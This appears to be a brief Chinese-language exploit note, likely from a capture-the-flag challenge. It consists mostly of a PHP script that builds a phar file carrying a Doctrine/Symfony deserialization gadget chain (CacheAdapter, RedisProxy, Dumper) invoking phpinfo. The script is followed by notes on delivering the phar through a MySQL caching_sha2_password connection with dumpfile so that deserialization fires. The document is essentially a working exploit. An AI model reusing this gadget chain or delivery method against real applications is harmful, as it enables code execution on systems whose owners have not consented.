简单记录下。
<?php
namespace Doctrine\Common\Cache\Psr6{
class CacheAdapter{
private $deferredItems;
public function __construct($deferredItems){
$this->deferredItems=$deferredItems;
}
}
}
namespace Symfony\Component\Messenger\Bridge\Redis\Transport{
class RedisProxy{
private $redis;
private $initializer;
private $ready;
public function __construct($initializer){
$this->ready=false;
$this->redis="1";
$this->initializer=$initializer;
}
}
}
namespace Symfony\Component\Console\Helper{
class Dumper{
private $handler="phpinfo";
}
}
namespace {
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Symfony\Component\Console\Helper\Dumper;
use Symfony\Component\Messenger\Bridge\Redis\Transport\RedisProxy;
$phar = new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new CacheAdapter(["123"=>new RedisProxy(new Dumper())]));
$phar->addFromString("test.txt", "tesat");
$phar->stopBuffering();
}
必须是caching_sha2_password连接。会有缓存。flush之后就没了
然后再发送phar即可触发反序列化
phar。得用dumpfile。。二进制文件
outfile会丢字节
